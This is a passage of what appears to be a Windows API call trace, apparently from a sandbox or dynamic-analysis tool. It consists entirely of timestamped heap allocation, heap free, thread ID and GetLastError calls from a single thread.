returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.985] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375e8, Size=0x160) returned 0x33e7650 [0075.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.985] GetCurrentThreadId () returned 0x9b0 [0075.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7650 | out: hHeap=0x2ad0000) returned 1 [0075.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0075.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0075.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0075.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183980 [0075.985] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183c20 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183980 | out: hHeap=0x2ad0000) returned 1 [0075.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c20 [0075.986] GetCurrentThreadId () returned 0x9b0 [0075.986] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84c20, Size=0x20) returned 0x30282d8 [0075.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3d8) returned 0x3410200 [0075.986] GetCurrentThreadId () returned 0x9b0 [0075.986] GetLastError () returned 0x0 [0075.986] GetCurrentThreadId () returned 0x9b0 [0075.986] GetLastError () returned 0x0 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847e8 | out: hHeap=0x2ad0000) returned 1 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847a0 | out: hHeap=0x2ad0000) returned 1 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847d0 | out: hHeap=0x2ad0000) returned 1 [0075.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847b8 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849c8 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84860 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848d8 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84848 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84788 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848a8 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84998 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84770 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84740 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183840 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84830 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84758 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84968 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84710 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84890 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84818 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839c0 | out: hHeap=0x2ad0000) returned 1 [0075.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84728 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84800 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84950 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849b0 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848c0 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84878 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84920 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84908 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84980 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18c68 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b90 | out: hHeap=0x2ad0000) returned 1 [0075.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c80 [0075.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84aa0 [0075.988] GetCurrentThreadId () returned 0x9b0 [0075.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334e3a0 | out: hHeap=0x2ad0000) returned 1 [0075.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.989] GetCurrentThreadId () returned 0x9b0 [0075.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.989] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x34105e0, Size=0x941) returned 0x34105e0 [0075.989] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x34105e0, Size=0xf9a) returned 0x34105e0 [0075.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.989] GetLastError () returned 0x0 [0075.989] GetLastError () returned 0x0 [0075.989] GetCurrentThreadId () returned 0x9b0 [0075.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.990] GetCurrentThreadId () returned 0x9b0 [0075.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0075.990] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84aa0, Size=0x10) returned 0x2c849f8 [0075.990] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84c80, Size=0x10) returned 0x2c84ae8 [0075.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de728 [0075.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0075.990] GetCurrentThreadId () returned 0x9b0 [0075.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0075.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0075.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84b00 [0075.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0075.991] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c849f8, Size=0x10) returned 0x2c84b90 [0075.991] GetCurrentThreadId () returned 0x9b0 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ad0 [0075.991] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ae8, Size=0x10) returned 0x2c84cc8 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.991] GetCurrentThreadId () returned 0x9b0 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b00 | out: hHeap=0x2ad0000) returned 1 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de748 [0075.991] GetCurrentThreadId () returned 0x9b0 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0075.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84bd8 [0075.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0075.992] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b90, Size=0x10) returned 0x2c849f8 [0075.992] GetCurrentThreadId () returned 0x9b0 [0075.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b30 [0075.992] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84cc8, Size=0x10) returned 0x2c84a28 [0075.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.992] GetCurrentThreadId () returned 0x9b0 [0075.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0075.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bd8 | out: hHeap=0x2ad0000) returned 1 [0075.992] GetCurrentThreadId () returned 0x9b0 [0075.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0075.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0075.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.993] GetCurrentThreadId () returned 0x9b0 [0075.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0075.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0075.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6f8 [0075.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0075.993] GetCurrentThreadId () returned 0x9b0 [0075.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7c8 [0075.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0075.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6f8 | out: hHeap=0x2ad0000) returned 1 [0075.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84c80 [0075.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0075.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c849f8, Size=0x10) returned 0x2c84ce0 [0075.994] GetCurrentThreadId () returned 0x9b0 [0075.994] GetCurrentThreadId () returned 0x9b0 [0075.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c20 [0075.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c98 [0075.994] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84a28, Size=0x10) returned 0x2c84b90 [0075.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.994] GetCurrentThreadId () returned 0x9b0 [0075.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c849f8 [0075.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0075.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b30 | out: hHeap=0x2ad0000) returned 1 [0075.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c80 | out: hHeap=0x2ad0000) returned 1 [0075.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ce0, Size=0x10) returned 0x2c84ab8 [0075.995] GetCurrentThreadId () returned 0x9b0 [0075.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b90, Size=0x10) returned 0x2c84b00 [0075.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0075.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849f8 | out: hHeap=0x2ad0000) returned 1 [0075.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ab8, Size=0x10) returned 0x2c84ae8 [0075.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b00, Size=0x10) returned 0x2c84b18 [0075.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0075.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ae8, Size=0x10) returned 0x2c84a28 [0075.995] GetCurrentThreadId () returned 0x9b0 [0075.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84b18, Size=0x10) returned 0x2c84a40 [0075.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.996] GetCurrentThreadId () returned 0x9b0 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0075.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de838 [0075.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0075.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0075.996] GetCurrentThreadId () returned 0x9b0 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84c50 [0075.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c38 [0075.996] GetCurrentThreadId () returned 0x9b0 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.997] GetCurrentThreadId () returned 0x9b0 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6f8 [0075.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c50 | out: hHeap=0x2ad0000) returned 1 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6a8 [0075.997] GetCurrentThreadId () returned 0x9b0 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0075.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6f8 | out: hHeap=0x2ad0000) returned 1 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84ae8 [0075.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b18 [0075.997] GetCurrentThreadId () returned 0x9b0 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x34105e0 [0075.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34105e0 | out: hHeap=0x2ad0000) returned 1 [0075.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0075.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ae8 | out: hHeap=0x2ad0000) returned 1 [0075.998] GetCurrentThreadId () returned 0x9b0 [0075.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0075.998] GetCurrentThreadId () returned 0x9b0 [0075.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6f8 [0075.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de748 [0075.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6f8 | out: hHeap=0x2ad0000) returned 1 [0075.998] GetCurrentThreadId () returned 0x9b0 [0075.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0075.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0075.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de778 [0075.999] GetCurrentThreadId () returned 0x9b0 [0075.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0075.999] 